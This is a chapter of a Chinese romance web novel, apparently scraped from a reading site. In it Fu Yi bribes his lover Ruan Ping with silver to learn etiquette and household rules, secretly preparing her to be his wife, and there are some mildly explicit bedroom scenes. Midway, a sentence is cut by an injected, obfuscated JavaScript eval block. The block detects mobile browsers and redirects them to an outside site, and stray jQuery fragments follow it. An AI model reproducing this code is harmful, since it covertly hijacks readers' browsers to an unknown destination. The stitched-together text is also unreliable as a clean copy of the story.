阮平提出的每一个要求,傅翊都答应了,唯独一点,他不太认同,就是回京之后的住处。


    他现在视阮平为正妻,不是外室,原来的那个小宅子住着,实在是逼仄了些。


    但是阮平很坚持,他也就随她了。


    他想着,或许是阮平对那座小宅子有特殊的感情,毕竟那是他们一起生活了四年的地方。


    不过,他想错了。


    阮平想住回小宅子,不是因为对宅子有什么特殊的感情,她仅仅是为了——方便藏私房钱!


    谁不想住宽敞的大院子啊?


    但住到新房子去,她就得重新找地方藏私房钱。


    太麻烦了!


    还不如就住原来的小宅子,说是小宅子,其实也不小了,比她西京的小院子大了五六倍呢!


    她是个知足常乐的人,不追求豪宅豪车。


    一座两进的宅院,带着庭院,带着小花园,宅子里还有俊朗的床搭子、漂亮能干的丫鬟、厨艺顶级的厨娘……


    她还有什么不满足呢?


    她很满足!


    傅翊很守诺,不仅给她换了新丫鬟,还换了新的管事妈妈。


    两个大丫鬟,一个叫海棠,一个叫铃兰,新的管事妈妈姓祝,对阮平的态度可比原来的周妈妈强多了,阮平很喜欢。


    阮平还见到了碧露,碧露是来教导海棠和铃兰如何伺候她的。


    等海棠和铃兰清楚她的喜好、禁忌之后,碧露就会回傅府。


    阮平一见到她,就笑吟吟地打趣道:“听说,你时常做梦,梦到我,梦到我向你求救?”


    “原来你表面上冷冷的,实际上还是很关心我的嘛。”


    碧露被她说得脸颊绯红。


    她此时已经知道了,阮平离开的这一年,过得很好,并没有受苦。


    她梦到的那些阮平受苦受难的场景,全是因为心中愧疚而胡思乱想出来的。


    “我对不起姑娘。”碧露垂首道,“早在几个月前,我就知道姑娘可能出事了,可我却因为私心和懦弱,不敢说出来。”


    她苦笑道,“那些噩梦,是老天爷对我的惩罚。”


    还真是个善良的姑娘。


    阮平笑道:“你是傅家的人,从你家公子抛弃我的那天起,我们之间就没有关系了,你还能想着我,我很感激。”


    “公子没有抛弃您。”碧露替傅翊分辩道,“奴婢看得出来,这一年来,公子一直都想着你。”


    “哦?”这倒是有些出人意料,阮平非常感兴趣地问道,“从哪里看出来的?”


    碧露回答道:“公子时常会问起你,问门房有没有收到你的帖子,问宅子里的人有没有去过府上。”


    阮平高兴道:“还有这回事?算他有点良心。”


    还有一句话,碧露没有说出来,其实她觉得,她家公子,一直在等阮平去找他。


    但主子的心思不是她一个丫鬟可以随意揣度的,所以这句话,她最终还是没有说出口。


    她想,公子既然把阮平找回来了,那么他们二人应该是已经互相表明心意了,这也说明,阮平今后在傅家,是指定有一席之地的了。


    明白了这一点,碧露对阮平的态度越发恭敬。


    周妈妈已经被贬到庄子上去了,她绝对不能步周妈妈的后尘。


    阮平感觉到,这次再回京,宅子里的人对她的态度改变了许多,具体表现为,更听话了,不仅听傅翊的话,也听她的话。


    有时候她只动了动一个眼神,海棠和铃兰就能知道她想要什么,比小莲和小翠贴心了不是一点半点。


    阮平被侍奉得非常舒心。


    到了晚间,她就把心里的愉悦化为实际行动,好好犒劳了傅翊一番。


    她现在的好日子,可都是傅翊给的!


    而且,也不知是不是因为被绑走时,傅翊从天而降及时救了她的缘故,她现在可喜欢他了。


    比之前还喜欢!


    每天都想和他腻在一起!夜夜都想和他贴贴。


    “我好爱你,好喜欢你。”每到就寝之时,她就变得格外热情,不仅任傅翊予取予求,而且还甜言蜜语不断。


    傅翊简直爱她爱得不行,怎么抱都抱不够。


    “既然这么爱我,不如嫁给我?”云收雨歇之际,他敞开衣襟,任她趴在他胸口上,餍足地摩挲着身上的肌肤。


    阮平嗖地一下收回作乱的小手,离开他的胸膛,转过身,盖上被子,躺得老老实实的,开始装睡。


    傅翊磨了磨牙,气笑了。


    说什么爱他,喜欢他,都是假话!


    她喜欢的,只有他的身体!


    换个其他人,容貌俊俏些,身材健硕些,她也一样爱!


    就像西京那个黑炭似的柴夫!


    想到她在西京的所作所为,他心里的火就噌噌噌地往外冒。


    “还没学完呢。”他把装乌龟的女人从被窝里剥了出来,要她把小画册上面的内容学完了才准睡。


    阮平睁开一只眼,偷偷瞟了眼画册上的姿势。


    是她喜欢的。


    那就勉勉强强再学一学吧。


    很快,床幔之下,又传来了男女快乐的合奏声。


    床上床下过得都很愉快,阮平简直爱死了现在的生活,这样的日子,她可以过十辈子!


    不,永生永世!


    快乐的日子里,唯有一点不好,那就是,傅翊开始要求她学规矩、学礼仪。


    他还给她请了个教规矩的教养嬷嬷。


    阮平是个懒蛋,不想学,连嬷嬷的面都没去见,将摆烂进行到底。


    傅翊并不强求,只叫嬷嬷住在宅子里,她什么时候想学了,嬷嬷再教。


    他了解阮平的性子,不能逼迫,只能哄。


    要想让她乖乖学规矩,就要给出足够的诱饵。


    他先是诱之以利,答应她只要学出师了,就奖励她一千两银子,然后又动之以情,哄道:“你总不能永远不见外人,不学一些礼仪规矩,在外面行走时,多有不便。”


    阮平觉得她可以永远不见外人,但为了银子,这礼仪学学也无妨。


    教养嬷嬷姓古,虽然被称为嬷嬷,但也才三十来岁,是从宫里放出来的宫女。


    古嬷嬷是个很有见地的人。


    学规矩的第一日,她是这么跟阮平说的:“我知道姑娘不爱学规矩,嫌累,嫌这规矩学出来,没什么用。”


    “其实,规矩礼仪,就是做给外人看的,对学规矩的人来说,确实没有什么直接的好处。”


    “但没有直接的好处,却有间接的好处。世人浅薄,先敬衣装后敬人。这礼仪,就如同一件体面的衣裳,姑娘把它穿在身上,不见得有多舒服、多暖和,但是外人看到了,就会高看姑娘一眼。”


    阮平对这个观点非常赞同,立即将古嬷嬷引为知己。


    她也觉得,礼仪这东西,就是一件装饰品。


    除却行走坐卧的体态之外,礼仪最重要的一部分内容,是向上位者行礼问安。


    这其实是一件很荒谬的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15778667|171265||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    事情。


    下位者被强迫着跪拜上位者,以表示屈服和顺从,这本是一件屈辱的事情。


    可是被强迫之后,下位者的做法不是反抗,而是把跪姿练习得更加美观好看。


    何其荒谬?


    但局中人却并不觉得荒谬。


    这就是封建皇权的可怕之处,在不知不觉中磨灭掉人的傲骨,一点一点剥夺人的主体性。


    阮平不想被剥夺主体性,所以她学规矩,只会学个表面,是不可能发自内心地去认同封建社会那一套的。


    正好古嬷嬷也是如此想。


    两人观念一致,目标相同,相处起来非常愉快,教学过程也非常和谐。


    只是有一点,阮平觉得有些奇怪。


    她怎么看怎么觉得,古嬷嬷教她的东西,不像是下位者该学的,反正不像是外室、普通老百姓该学的东西。


    对此,傅翊是这样解释的,他说:“不久之后,我会领旨出京,以钦差的身份巡视江南官场,我想带你一起去,你多学一些,才好接触各式人物。”


    阮平是个懒宅,她才不想和他一起出外差,立刻拒绝道:“我就不去了,你是去办皇差的,带着我,不好。”


    傅翊早有准备,诱哄道:“我此次是微服私访,行程自由,江南地界,想去哪都可以,你真的不去吗?”


    “除了这次钦差之行外,我今后还将调任外地,到时,我是一方主官,你要是愿意,可以随我一起上官衙。”


    “做地方官,是要查案断案的,你可以坐在侧席旁听,观察到形形色色的人。”


    他知道阮平有个喜好——喜欢研究人的行为。


    用旁观办案来诱惑她,她八成会上套。


    果然,他的话刚说完,阮平就一脸心动地问道:“真的可以吗?”


    不用与人面对面无聊地交际,而是坐在一旁,以旁观者的视角静静观察,这可太有意思了!


    对她的漫画创作也很有帮助呢!


    “可以。”傅翊肯定道,“但你要先学好规矩。”


    阮平蹙着眉头想了一会儿,还是觉得有些奇怪,不解道:“既是为了随你外出,那应该要学男子的礼仪吧?可古嬷嬷教的,都是女子礼仪呀?”


    那是当然,因为他让古嬷嬷教她规矩,就不是为了方便她女扮男装在外行走,而是为了培养她当一个合格的傅家主母。


    但这一点现在还不能告诉她。


    傅翊面不改色地撒谎道:“你跟在我身边,要出入很多不同的场所,自然就要扮演许多不同的身份,官差、小厮、婢女,或者,我的夫人,所以,什么都要学一点。”


    这个理由相当有说服力,阮平立即信了。


    解开了心中的疑惑,她又开始劲头十足地学规矩,很快就将古嬷嬷的本领学了个全。


    速度之快,都超出傅翊原本的预期了。


    他爽快地兑现了一千两银子的奖励,接着,又开始诱哄阮平学傅家的家规。


    这种纯理论的背诵,是阮平的强项,且傅翊也不要求她一字不差地背下来,只需要她理解每条家规的意思,然后逐条背诵出大意,就可以了。


    这对阮平来说是小菜一碟,在五百两银子的诱惑下,她仅用了三天,就把傅家上百条的家规都背了出来。


    古嬷嬷是皇后身边出来的人,是知道赐婚懿旨的存在的,她看着傅翊一点一点哄着阮平学这学那,很快就让阮平学会了很多傅家主母才需要学的东西,而后者还一无所觉,只沉浸在奖赏的快乐当中。